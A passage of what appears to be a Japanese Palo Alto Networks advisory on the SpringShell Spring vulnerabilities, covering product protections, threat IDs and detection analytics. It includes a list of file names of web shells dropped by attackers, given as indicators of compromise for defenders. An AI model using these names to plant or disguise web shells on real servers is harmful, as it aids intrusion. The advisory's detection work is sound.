42\u306f\u5f0a\u793e\u306e\u30c7\u30d0\u30a4\u30b9\u3084\u30af\u30e9\u30a6\u30c9\u30bd\u30ea\u30e5\u30fc\u30b7\u30e7\u30f3\u3092\u7d4c\u7531\u3059\u308b\u60aa\u610f\u306e\u3042\u308b\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u3092\u7a4d\u6975\u7684\u306b\u76e3\u8996\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306e\u88fd\u54c1\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4fdd\u8a3c\u30c1\u30fc\u30e0\u306f\u3001\u81ea\u793e\u88fd\u54c1\u306b\u95a2\u9023\u3059\u308bCVE-2022-22963\u3001CVE-2022-22965\u306e\u8a55\u4fa1\u3092\u884c\u3063\u3066\u304a\u308a\u3001\u73fe\u5728\u306f\u3053\u306e\u6df1\u523b\u5ea6\u3092\u300c<a href=\"https:\/\/security.paloaltonetworks.com\/CVE-2022-22963\">none<\/a>\u300d\u3068\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p><a href=\"https:\/\/www.paloaltonetworks.jp\/products\/secure-the-network\/subscriptions\/threat-prevention\">\u8105\u5a01\u9632\u5fa1<\/a>\u30b5\u30d6\u30b9\u30af\u30ea\u30d7\u30b7\u30e7\u30f3\u304c\u6709\u52b9\u306aNGFW\u88fd\u54c1\u306f\u672c\u8106\u5f31\u6027\u306b\u95a2\u9023\u3059\u308b\u653b\u6483\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u3092\u30d6\u30ed\u30c3\u30af\u3067\u304d\u307e\u3059\u3002<\/p>\n<ul>\n<li>CVE-2022-22965\u306e\u30ab\u30d0\u30ec\u30c3\u30b8: \u8105\u5a01 ID 92393 \u304a\u3088\u3073 92394 (\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u304a\u3088\u3073\u8105\u5a01\u30b3\u30f3\u30c6\u30f3\u30c4\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8 8551)<\/li>\n<li>CVE-2022-22963\u306e\u30ab\u30d0\u30ec\u30c3\u30b8: \u8105\u5a01 ID 92389 (\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3068\u8105\u5a01\u30b3\u30f3\u30c6\u30f3\u30c4\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8 8551)<\/li>\n<li><span style=\"font-weight: 400;\">SpringShell\u8106\u5f31\u6027\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306e\u4e00\u90e8\u3067\u3042\u308bweb\u30b7\u30a7\u30eb\u306b\u3088\u308a\u751f\u6210\u3055\u308c\u305fC2\u30c8\u30e9\u30d5\u30a3\u30c3\u30af: \u8105\u5a01 ID 83239 (\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3068\u8105\u5a01\u30b3\u30f3\u30c6\u30f3\u30c4\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8 8551)<\/span><\/li>\n<\/ul>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306ePrisma Cloud\u306f\u3001\u3059\u3079\u3066\u306e<a href=\"https:\/\/www.paloaltonetworks.jp\/prisma\/cloud\/cloud-workload-protection-platform\">Compute<\/a>\u74b0\u5883\u306b\u304a\u3044\u3066CVE-2022-22965\u3001CVE-2022-22963\u306e\u4e21\u65b9\u306e\u6709\u7121\u3092\u691c\u51fa\u3067\u304d\u307e\u3059\u3002<\/p>\n<p><span style=\"font-weight: 400;\">Linux\u30c7\u30d0\u30a4\u30b9\u4e0a\u3067\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9Cortex XDR Prevent\/Pro\u3092\u3001\u30a8\u30fc\u30b8\u30a7\u30f3\u30c8\u306e\u30d0\u30fc\u30b8\u30e7\u30f37.4\u4ee5\u4e0a\u3001\u30b3\u30f3\u30c6\u30f3\u30c4\u30d0\u30fc\u30b8\u30e7\u30f3450-87751\u4ee5\u4e0a\u3092\u7a3c\u50cd\u3057\u3066\u3044\u308b\u304a\u5ba2\u69d8\u306fJava Deserialization\u30e2\u30b8\u30e5\u30fc\u30eb\u306b\u3088\u308aCVE-2022-22963\u304b\u3089\u4fdd\u8b77\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u307e\u305f\u3001Windows\u304a\u3088\u3073Linux\u4e0a\u3067\u30d0\u30fc\u30b8\u30e7\u30f37.7\u4ee5\u4e0a\u3001\u30b3\u30f3\u30c6\u30f3\u30c4\u30d0\u30fc\u30b8\u30e7\u30f3480\u4ee5\u4e0a\u3092\u7a3c\u50cd\u3057\u3066\u3044\u308b\u304a\u5ba2\u69d8\u306f\u3001Java Deserialization\u30e2\u30b8\u30e5\u30fc\u30eb\u306b\u3088\u308a\u3001CVE-2022-22963\u304a\u3088\u3073CVE-2022-22965\u304b\u3089\u4fdd\u8b77\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u305d\u308c\u4ee5\u5916\u306e\u30aa\u30da\u30ec\u30fc\u30c6\u30a3\u30f3\u30b0\u30b7\u30b9\u30c6\u30e0\u3068\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306f\u3001Behavioral Threat Protection\u3001Password Theft Prevention\u3001Anti Ransomware\u306a\u3069\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u5bfe\u7b56\u30e2\u30b8\u30e5\u30fc\u30eb\u306b\u3088\u308a\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u5f8c\u306e\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u304b\u3089\u4fdd\u8b77\u3055\u308c\u3066\u3044\u307e\u3059\u3002Cortex XDR Pro\u306e\u304a\u5ba2\u69d8\u306f\u3001\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u5f8c\u306e\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u3092\u53ef\u8996\u5316\u3057\u3001\u7279\u5b9a\u7684\u306b\u300cProcess execution with a suspicious command line indicative of the Spring4Shell exploit\u300d\u3001\u300cSuspicious HTTP Request to a vulnerable Java class\u300d\u306e\u4e21Analytics BIOC(\u632f\u308b\u821e\u3044\u6307\u6a19)\u3092\u30c8\u30e9\u30c3\u30ad\u30f3\u30b0\u3059\u308b\u3053\u3068\u3082\u3067\u304d\u307e\u3059\u3002\u3055\u3089\u306b\u3001\u30c9\u30ed\u30c3\u30d7\u3055\u308c\u305fWeb\u30b7\u30a7\u30eb\u306eIoC(\u4fb5\u5bb3\u6307\u6a19)\u3092\u63a2\u7d22\u3059\u308bXQL\u30af\u30a8\u30ea\u304b\u3089BIOC\u3092\u4f5c\u6210\u3057\u3001\u81ea\u793e\u74b0\u5883\u3067\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u8a66\u884c\u3092\u691c\u51fa\u3067\u304d\u307e\u3059\u3002<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306eCortex XSOAR\u306e\u304a\u5ba2\u69d8\u306f\u300cSpring Core and Cloud Function SpEL RCEs\u300d\u30d1\u30c3\u30af\u3092\u4f7f\u3046\u3053\u3068\u3067\u81ea\u52d5\u7684\u306b\u672c\u8106\u5f31\u6027\u3092\u691c\u51fa\u30fb\u7de9\u548c\u3067\u304d\u307e\u3059\u3002\u8a73\u3057\u304f\u306f<\/span><a href=\"https:\/\/xsoar.pan.dev\/marketplace\/details\/SpringRCEs\"><span style=\"font-weight: 400;\">XSOAR\u30de\u30fc\u30b1\u30c3\u30c8\u30d7\u30ec\u30a4\u30b9<\/span><\/a><span style=\"font-weight: 400;\">\u3092\u78ba\u8a8d\u3057\u3066\u304f\u3060\u3055\u3044\u3002<\/span><\/p>\n<h2 id=\"additional-resources\">\u8ffd\u52a0\u30ea\u30bd\u30fc\u30b9<\/h2>\n<p><a href=\"https:\/\/www.paloaltonetworks.com\/blog\/prisma-cloud\/recent-spring-vulnerabilities\/?lang=ja\">SpringShell\u304a\u3088\u3073\u6700\u8fd1\u306eSpring\u306e\u8106\u5f31\u6027CVE-2022-22963\u3001CVE-2022-22965\u306b\u5bfe\u3059\u308bPrisma Cloud\u306b\u3088\u308b\u7de9\u548c\u7b56<\/a><br \/>\n<a href=\"https:\/\/www.paloaltonetworks.com\/blog\/security-operations\/cortex-xdr-springshell\/\">How Cortex XDR Blocks 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style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">mynameis0bsecure.jsp<br \/>\n<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">tomcatwa.jsp<br \/>\n<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">ahmed.txt<br \/>\n<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">testqqsg.jsp<br \/>\n<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">wpz.jsp<br \/>\n<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">lelel.jsp<br \/>\n<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">shell.jsp<br \/>\n<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">07935fdf05b66.jsp<br \/>\n<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">vulntest-12345.txt<br \/>\n<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">jquerycssv2.js<br \/>\n<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">poc.jsp<br \/>\n<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">tomcatspring.jsp<br \/>\n<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">ofc.jsp<br \/>\n<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">lalalalal.jsp<br \/>\n<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">safetytest.txt<br \/>\n<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">log.txt<br \/>\n<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">safetytest<br \/>\n<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">javatestfila.jsp<br \/>\n<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">checkexploit.jsp<br \/>\n<\/span><span style=\"font-weight: 400; font-family: 'courier new', courier, monospace;\">tomcatwar.jsp<\/span><\/p>\n<p><em>2022-04-04 09:00 JST \u82f1\u8a9e\u7248\u66f4\u65b0\u65e5 2022-04-01 07:30 PDT \u306e\u5185\u5bb9\u3092\u53cd\u6620<br \/>\n2022-04-05 09:00 JST \u82f1\u8a9e\u7248\u66f4\u65b0\u65e5 2022-04-04 08:00 PDT \u306e\u5185\u5bb9\u3092\u53cd\u6620<br \/>\n2022-04-06 09:00 JST \u82f1\u8a9e\u7248\u66f4\u65b0\u65e5 2022-04-05 15:30 PDT \u306e\u5185\u5bb9\u3092\u53cd\u6620<br \/>\n2022-04-11 13:00 JST \u82f1\u8a9e\u7248\u66f4\u65b0\u65e5 2022-04-08 17:00 PDT \u306e\u5185\u5bb9\u3092\u53cd\u6620<br \/>\n2022-04-14 09:00 JST \u82f1\u8a9e\u7248\u66f4\u65b0\u65e5 2022-04-13 08:00 PDT \u306e\u5185\u5bb9\u3092\u53cd\u6620<br \/>\n2022-04-23 15:15 JST \u82f1\u8a9e\u7248\u66f4\u65b0\u65e5 2022-04-19 07:30 PDT \u306e\u5185\u5bb9\u3092\u53cd\u6620<br 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